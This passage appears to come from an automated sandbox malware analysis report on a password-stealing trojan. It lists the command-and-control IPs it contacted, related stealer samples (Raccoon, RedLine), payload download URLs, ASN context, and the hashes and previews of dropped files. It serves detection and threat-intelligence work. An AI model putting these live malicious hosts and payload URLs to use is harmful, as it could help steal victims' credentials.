http://185.196.9.251/s	SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.0000000000670000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	7DeRL7M12c61.0.dr, Uj90a2oBVp9S.0.dr	false	URL Reputation: safe	unknown
https://mozilla.org0	nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	9Vwl42VqIcns.0.dr	false	URL Reputation: safe	unknown
http://www.sqlite.org/copyright.html.	sqlite3.dll.0.dr	false	URL Reputation: safe	unknown
http://185.196.9.251/	SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.0000000000670000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.142.147.59/R3	SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247464359.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246161943.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246968570.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233693050.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246708741.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261702063.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247220737.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247098180.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244408755.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247342460.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244674737.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2207244687.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261100666.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245104755.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247833378.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2216146827.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2253842671.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244559080.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2251534302.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244966319.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247585846.0000000000670000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.196.9.251	unknown	Switzerland		42624	SIMPLECARRIERCH	false
193.142.147.59	unknown	Netherlands		53356	FREERANGECLOUDCA	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1492065
Start date and time:	2024-08-13 10:20:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/64@0/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 67 Number of non-executed functions: 9
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.196.9.251	SecuriteInfo.com.Trojan.PackedNET.2334.3801.19434.exe	Get hash	malicious	PureLog Stealer, Raccoon Stealer v2, SmokeLoader	Browse	185.196.9.251/autotask/Eflbu.exe
193.142.147.59	SecuriteInfo.com.Trojan.PackedNET.2334.3801.19434.exe	Get hash	malicious	PureLog Stealer, Raccoon Stealer v2, SmokeLoader	Browse	193.142.147.59/9d5573e69b8d6ad7b75e6d85de080957
	Vdx0wJYZit.exe	Get hash	malicious	Neshta, Quasar, Raccoon Stealer v2	Browse	193.142.147.59/e3b7cd8b27508839082374cd86ebe638
	D5zZRec4IT.exe	Get hash	malicious	Quasar, Raccoon Stealer v2	Browse	193.142.147.59/b90dd6e9fa23e9f57f24240c9d32329b
	t4v4BCINyk.exe	Get hash	malicious	Quasar, Raccoon Stealer v2	Browse	193.142.147.59/8493b1d5e897a9fb74f58c2585472732
	FI6utP1TPd.exe	Get hash	malicious	Quasar, Raccoon Stealer v2	Browse	193.142.147.59/9bbf7e6a47b9f42902bad4f5e9d2179a
	FI6utP1TPd.exe	Get hash	malicious	Quasar, Raccoon Stealer v2	Browse	193.142.147.59/ffe33fb3fdc628098795fe1a6269406d
	IbcmdV1Kxo.exe	Get hash	malicious	Raccoon Stealer v2	Browse	193.142.147.59/f733be9460187880426fcb27c197c160
	ZMaeWhishe.exe	Get hash	malicious	Raccoon Stealer v2	Browse	193.142.147.59/f9653a16747a0167dc590a1c91bbaea1
	pp.exe	Get hash	malicious	SmokeLoader	Browse	glueberry-og.cc/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SIMPLECARRIERCH	file.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, Stealc, SystemBC, Vidar, zgRAT	Browse	185.196.11.123
	d3d9x.dll	Get hash	malicious	RedLine	Browse	185.196.9.26
	installer_execute.exe	Get hash	malicious	RedLine	Browse	185.196.9.26
	Step 1.exe	Get hash	malicious	RedLine	Browse	185.196.9.26
	file.exe	Get hash	malicious	Amadey, DarkTortilla, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.196.11.123
	file.exe	Get hash	malicious	Amadey, Cryptbot, Neoreklami, PureLog Stealer, RedLine, Stealc, Vidar	Browse	185.196.11.123
	z23T2A9LQmk3VeaWi6.exe	Get hash	malicious	AgentTesla	Browse	185.196.9.150
	SecuriteInfo.com.Win32.TrojanX-gen.2935.18945.exe	Get hash	malicious	Amadey, DarkTortilla, RedLine, XWorm	Browse	185.196.11.123
	N#U0435wInstV2.exe	Get hash	malicious	RedLine	Browse	185.196.9.26
	SecuriteInfo.com.Trojan.PWS.Siggen3.37896.5163.15968.exe	Get hash	malicious	RedLine	Browse	185.196.9.26
FREERANGECLOUDCA	SecuriteInfo.com.Trojan.PackedNET.2334.3801.19434.exe	Get hash	malicious	PureLog Stealer, Raccoon Stealer v2, SmokeLoader	Browse	193.142.147.59
	Setup.exe	Get hash	malicious	AsyncRAT, HTMLPhisher, Clipboard Hijacker, Phorpiex, PureLog Stealer, Raccoon Stealer v2, RedLine	Browse	193.142.147.59
	http://www.brookskushman.com	Get hash	malicious	Unknown	Browse	45.66.248.122
	http://www.prestigetransportation.com	Get hash	malicious	Unknown	Browse	45.66.248.122
	https://dutchpopp.com	Get hash	malicious	Unknown	Browse	45.66.248.122
	http://muse.krazzykriss.com	Get hash	malicious	Unknown	Browse	45.66.248.122
	https://muse.krazzykriss.com/	Get hash	malicious	Unknown	Browse	45.66.248.122
	http://sallywilliamson.com	Get hash	malicious	Unknown	Browse	45.66.248.122
	http://sallywilliamson.com/	Get hash	malicious	Unknown	Browse	45.66.248.122
	http://muse.krazzykriss.com	Get hash	malicious	Unknown	Browse	45.66.248.122

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\LocalLow\freebl3.dll	SecuriteInfo.com.Trojan.PackedNET.2334.3801.19434.exe	Get hash	malicious	PureLog Stealer, Raccoon Stealer v2, SmokeLoader	Browse
	Setup.exe	Get hash	malicious	AsyncRAT, HTMLPhisher, Clipboard Hijacker, Phorpiex, PureLog Stealer, Raccoon Stealer v2, RedLine	Browse
	xzQ4Zf3975.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	60lAWJYfsL.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	JeNG2S9wKC.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	SnI2yBH5jJ.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	K3lQsBC5we.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	TCr4xC4lxh.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	o6zadjW4dI.exe	Get hash	malicious	Raccoon Stealer v2	Browse
C:\Users\user\AppData\LocalLow\mozglue.dll	SecuriteInfo.com.Trojan.PackedNET.2334.3801.19434.exe	Get hash	malicious	PureLog Stealer, Raccoon Stealer v2, SmokeLoader	Browse
	Setup.exe	Get hash	malicious	AsyncRAT, HTMLPhisher, Clipboard Hijacker, Phorpiex, PureLog Stealer, Raccoon Stealer v2, RedLine	Browse
	xzQ4Zf3975.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	60lAWJYfsL.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	JeNG2S9wKC.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	SnI2yBH5jJ.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	K3lQsBC5we.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	TCr4xC4lxh.exe	Get hash	malicious	Raccoon Stealer v2	Browse
	o6zadjW4dI.exe	Get hash	malicious	Raccoon Stealer v2	Browse

Created / dropped Files

C:\Users\user\AppData\LocalLow\08Wp7CcOg1xX

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.685942106278079
Encrypted:	false
SSDEEP:	24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK
MD5:	3F6896A097F6B0AE6A2BF3826C813DFC
SHA1:	951214AB37DEA766005DD981B0B3D61F936B035B
SHA-256:	E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60
SHA-512:	C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

C:\Users\user\AppData\LocalLow\0lO6WpRVo39m

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702247102869977
Encrypted:	false
SSDEEP:	24:GwASqxXUeo2spEcwb4NnVEBb2Ag1EY9TDqVEQXZvnIx+:nAD1U6+Lwb4dV42x1EIeVlXZ/5
MD5:	B734D7226D90E4FD8228EE89C7DD26DA
SHA1:	EDA7F371036A56A0DE687FF97B01F355C5060846
SHA-256:	ED3AE18072D12A2B031864F502B3DA672B4D4FA8743BEC8ADE114460F53C24D6
SHA-512:	D11ED908D0473A6BEA78D56D0E46FC05DAE642C6ED2F6D60F7859BB25C596CDAA79CC7883FEA5C175A2C04BD176943FF45670B19D6A55B3D5F29FAF40A19AC20
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	QCFWYSKMHARLAFTMDAYCDPDNVLLXYAHYJQVDDKWMWZXTODMVQHOWYAKZGPKJEHLDEADLWAOYFHCRBONQYOLNJKXLXXPSVNNBUMGSSHSRYIKKLNWBJSSZQFZBFWIPYYALBWYXPUCHCBPPPRVICZHAAXDBSBDAFSJSLRPZCKMILDLKTZJTTJWTRDUXPIOSWYRPJKVLJAGHSGEPPERRAQLAJLIRGZPORRNBHIKYMYWHJJKNXIQOPDJPXFLFPWXDCSZYFDTACTIFVHTTSPLEYMJQGMJBZKBTPKCSRPHSAJZDKKKDYFDICXMYAQSFGBCKRXTFXXUYCXPOOHXIGGOZQXUOJXGUHUEOJLEOQQRFQRNQSWAOWAWOUVFMKBPTZVBCGRCYEHPXUWCDBHICKJYVGTNPPMEWNTSWYZNREIVBOXSICNBJXTOOMRYUPEHBVWMTIZHWLGFFTIUYFBQKZOWLOZMSGJFBUHXKMGISFGKCABOUUUQJAUODQPPYPQJGLZVADLCCGHPBEUWSDDXYCCQVTRQWCEJDTNAGHKGJTRWVAQBQJBUQWMJRXXASIQFFIUCPKMEXTJTVBDCBEYZDLKHCHQXMUBNRVRITBTYGULZYWAXVJAXNQEPONBFIAUWZCXQYHHPHZWKKUTNXAQELCSUFKXKKQLLKNVNOREOWTEVCFHSUGPNRMAPAFPTHPGPAJPOCFBZXTIYQYUSEJFOUEZDUJSRXDHTOZAMMNCCIXWLXFQZALVARMPTDBNFJAJUMFQAHUJVWMEIDRIMZQXYHMCNBVLONHTHCXFAKSQBBXFBBFYSTIWNRKGOIHMIHZKIQSYCSFIRGLYFATERWSKAZLTFNMKHFVBLMXNERMNYZHBEYHNFPIPCGHZZMBNNYITUETKSXMZHNSGROLAGIITATFDCBZCBLYQHHYFPBDWGCTQNYPHDHFBNVEJJDIVMSPKDXKQBUNSMLJDVGOKQUEVKEVEUUSGEQJDKGYLPIDXNBIPBAJRUU

C:\Users\user\AppData\LocalLow\1N7B1WG621pf

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69422273140364
Encrypted:	false
SSDEEP:	24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
MD5:	A686C2E2230002C3810CB3638589BF01
SHA1:	4B764DD14070E52A2AC0458F401CDD5724E714FB
SHA-256:	38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
SHA-512:	1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

C:\Users\user\AppData\LocalLow\1qWh38VFuct6

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\1qWh38VFuct6-shm

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	high, very likely benign file
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\2w4hPrO30hCL

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69422273140364
Encrypted:	false
SSDEEP:	24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
MD5:	A686C2E2230002C3810CB3638589BF01
SHA1:	4B764DD14070E52A2AC0458F401CDD5724E714FB
SHA-256:	38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
SHA-512:	1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
Malicious:	false
Preview:	SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

C:\Users\user\AppData\LocalLow\3LcYYcO8dG7j

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\LocalLow\3MX8Lp8rWVnx

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69422273140364
Encrypted:	false
SSDEEP:	24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
MD5:	A686C2E2230002C3810CB3638589BF01
SHA1:	4B764DD14070E52A2AC0458F401CDD5724E714FB
SHA-256:	38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
SHA-512:	1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
Malicious:	false
